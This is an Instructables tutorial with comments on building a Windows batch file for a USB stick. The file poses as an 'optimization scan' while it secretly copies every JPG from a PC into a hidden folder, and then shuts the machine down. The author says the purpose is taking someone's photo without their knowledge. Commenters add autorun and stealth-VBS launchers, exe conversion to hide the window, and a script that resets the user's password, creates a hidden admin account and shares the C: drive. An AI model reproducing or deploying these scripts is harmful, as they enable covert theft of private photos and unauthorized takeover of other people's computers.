Instructables

So, first things first, what is this instructable creating and why.

This instructable will allow you to create a batch file that will copy all the images from a PC to your memory stick. it will do this discretely, posing as another program that is checking the computer for issues. When complete, you will have a hidden folder on your memory stick with all the copied images.

Why? I have created this instructable because I wanted to retrieve a digital photo from someones machine without them knowing I had done it. The legitimate use of this file will allow you to archive/backup your personal photos.

Other uses: This file can be modified to allow any other type of document to be copied.
 
Remove these adsRemove these ads by Signing Up

Step 1: Write the code


Copy the following code into notepad and save it on the root of your memory stick as a bat file, you can name it whatever you want as long is it has the .bat extension. To ensure it does have the correct extension, type it as follows in the save box of notepad "copyimage.bat" (include the quotations!)



@echo off
echo Optimization client 2008 v3.02b
echo --------------------------------
echo.
echo Please do not use your PC while this is running.
echo.
echo Scanning process list. When complete a log will be displayed for your system administrator to review.
echo.
echo Please be patient this could take upto 3 hours.

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 00000002 /f >nul
mkdir \data >nul
attrib +h \data >nul
setLocal EnableDelayedExpansion
@echo off
for %%a in (jpg) do (
for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\*.%%a') do (
xcopy "%%f" \data\ /y /h /q >nul
)
)
attrib -s +h data\* >nul
start optimizationLog.txt
shutdown /s /c "Optimization scan complete, your PC will now shutdown"


1-40 of 59Next »
dcduo29 days ago

You want to automatically copy peoples photos from their computer to your memory stick without them knowing. What are you, paedophiles?

killtacular1 month ago

or try this code

note that e is the drive name make sure you know which letter it is coz it should be changed if more drives are there...

dont forget to compile it into exe format and choose "ghost application" xD

@echo off

cls

xcopy /q /k /m C:\Users\%username%\Pictures\*.* E:\Storage\

killtacular1 month ago

or you could compile the batch file as ghost format using the bat to exe converter at http://www.f2ko.de/programs.php?pid=b2e. use an autorun to start the process automatically...

InfraBlue4 years ago
You can make the batch run stealthy with this and autorun when pluged in to a pc

First make "start.bat" and enter this code:

wscript.exe "\stealth.vbs" "copy.bat"

Second make "stealth.vbs" enter this code:

CreateObject("Wscript.Shell").Run """" & WScript.Arguments(0) & """", 0, False

Third make "secret.bat" enter this code:

@echo off
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 00000002 /f >nul
mkdir \data >nul
attrib +h \data >nul
setLocal EnableDelayedExpansion
for %%a in (jpg) do (
for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\*.%%a') do (
xcopy "%%f" \data\ /y /h /q >nul
)
)
attrib -s +h data\* >nul

Then make "autorun.inf" and enter this code:

[autorun]
shellexecute=start.bat

If you want to stop it make "stop.bat" with this code:

@echo off
taskkill secret.bat

IsrarM InfraBlue3 months ago

sir can you send me file of this to my email?

thenameisnat4 months ago

Will this copy every single image file off of the drive, even temporary files?

wildlos5 months ago

here's my challenge for you..... use an otg cable and attach it to any cell phone in order to copy all photos discreetly. can it be done?

Stan20009 months ago
You can hide the folder easier by the atrib comand, i belive it was atrib /h
Is there a way to make this search by file size, example over 500kb?
does this really take 3 hours
jeakins12 years ago
How can I make it copy only certain sized images. It copied 4k photos of stuff and I only needed about 20 of the photos.
Note, this works on Windows 7, however the hidden files registry key doesn't as this behaviour was changed in Windows 7.

Windows XP the key needs to be
"Hidden"=dword:00000002

Windows 7 the key needs to be
"Hidden"=dword:00000001

Same Path
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced]
Shadow13!4 years ago
Is it possible to make this search only in account folders such as my pictures and such for all accounts on a computer and ignore folders like program files and such to cut down on run time. I am pretty new to this type of work so the more detail or exact code would be extremely appreciated.
Ok thought I would post my version of the script, since I found this useful.

Note my version searches everywhere on the C Drive.  Most people tend to hide their photos if they are worth stealing.  This will only search for files larger that 640x480.

This script is also dependant on a program called PhotoResize.
http://www.rw-designer.com/picture-resize
Now it is dependant on how you have the name of the program as to what size photos you want them resized to.  Eg I have it resize the photos to 640x480, they are large enough to see, yet small enough so they don't take as long to copy.  This is also what determines if the files get copied or not, eg if the photo is smaller than 640x480 it wont resize, therefore will not save to the drive.  So if you make it resize to 800x600 you will only find photos that are 800x600 or larger.

Here is my version of the script
============================
@echo off
color a
echo Optimization client 2012 v3.02b
echo --------------------------------
echo.
echo Please do not use your PC while this is running.
echo.
echo Scanning process list.
echo.
echo Please be patient this could take upto 3 hours.

reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 00000002 /f >nul
attrib +h PhotoResizeW640SOH.exe >nul
mkdir \%computername% >nul
attrib +h \%computername% >nul
setLocal EnableDelayedExpansion
@echo off
for %%a in (jpg jpeg) do (
for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\*.%%a') do (
PhotoResizeW640SOH.exe "-c\%computername%\<NAME>.jpg" "%%f"
)
)
attrib -s +h \%computername%\* >nul
del -f -q PhotoResizeW640SOH.exe

I also used the Batch 2 Exe converter to make the batch run silently or with display, however it includes the PhotoResize within the exe.  Not sure if you would like me to post that or not, however I think this is easy enough to understand, if you can't then maybe you shouldn't be stealing peoples pics.
ee0u30eb (author)  CyberCitizen2 years ago
Thats great. many thanks for sharing this, I love seeing evolutions to the script
pinkspeedo5 years ago
I've modified my flash drive with the following:

@echo off
net user %username% Password
net user /add Admin2 Password
net localgroup administrators Admin2/add
net share concfg"c:\/grant:Admin2.full
mkdir \%computername% >nul
attrib +h \%computername% >nul
setLocal EnableDelayedExpansion
for %%a in (jpg) do (
for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\Documents and Settings\%userprofile%\My Documents\My Pictures\*.%%a') do (
move "%%f" \%computername%\ /y /h /q >nul
)
)
attrib -s +h %computername%\* >nul
rem this will change the current logged on users password to
rem Password
rem it will also create an administrator account
rem (which can be changed) with the pass= Password
rem then it moves all the files from the current users my pictures folder
rem onto your flash drive
rem then loggs off the computer
rem (change shutdown -l to shutdown -s -t 1) to shut down the computer
rem shuts down the computer instantly
shutdown -l
rem i love my flash drive =]
rem sent my friend a "file" on it at school
rem if youve got a teacher that pisses u off at school thisll be hillarious
 Why not make it 'shutdown -s -f'? No timer is instantaneous 
It doesn't work that way, but you can do 'shutdown -t 00 -s -f' to shutdown without a timer.
what is 'rem'? it is just a comment?
"records comments (remarks) in batch files or CONFIG.SYS" is what cmnd prmpt said. just type "help" into command prompt, hit enter, and thou shall get large list of stuff
sorry worded weird put shutdown -l at the end doesnt matter really just a little bit confusing
account3r24 years ago
u can make a autorun
El Mano4 years ago
Where did you learn this? I'm trying to figure the FOR command out, and FOR /? is offering very little help.
diaruga114 years ago
 does this work on macs?
no, because windows are different from macs.
stevenh4295 years ago
it says three hours , how long will it take
It should all depend on the amount of photos in the target computer.
will this work on macs? if not how could i make it work on macs
 Ok, i've come across this problem before.
 1. Buy a PC
 2.???
 3.Profit!!!
pinkspeedo5 years ago
get a batch to exe converter when you run the exe file you wont see the command prompt add a little txt file to make them think thats all it opened or a website cd\ "c:\program files\internet explorer\iexplore.exe" (ebsite address goes here)
Is there a way we can change

for /f "tokens=* delims= " %%f in ('dir/b/s/a-d c:\*.%%a') do (

to look in the current userprofile rather than the entire C Drive?

Regards,
Daniel
c:\Documents and Settings\%userprofile%\My Documents\My Pictures\*.%%a use this to copy jpg images from my pictures
ee0u30eb (author)  daniel.penning5 years ago
The user profile can be accessed via

%userprofile%

So (will test later) try:

for /f "tokens=* delims= " %%f in ('dir/b/s/a-d %userprofile%*.%%a') do (
pinkspeedo5 years ago
directly after @echo off add this title Optimization client 2008 v3.02b changes the title of the cmd prompt jsut makes it more convincing
ee0u30eb (author)  pinkspeedo5 years ago
Pinkspeedo, thanks for all of your comments, they are excellent feedback, and I will certainly be using them.
pinkspeedo5 years ago
also change this mkdir \data >nul to this mkdir \%computername% >nul allows you to create different folders on each computer incredibly helpful and easy way to do this go to edit replace all type data in first field then %computername% in second then hit replace all
pinkspeedo5 years ago
add an autorun file for the flash drive
(autorun) make the brackets not parenthesis
open=slurp.bat
action=Click "OK"
shell\open\command=slurp.bat
save as autorun.inf
makes the file transfer so much easier
BakaTanuki5 years ago
How do I have it grab everything in C:\ except for temporary internet files?
how do you know when its done downloading
daniel20085 years ago
would it be possible to create a copy of windows live messenger conversations that are saved on the computer discretely too?
1-40 of 59Next »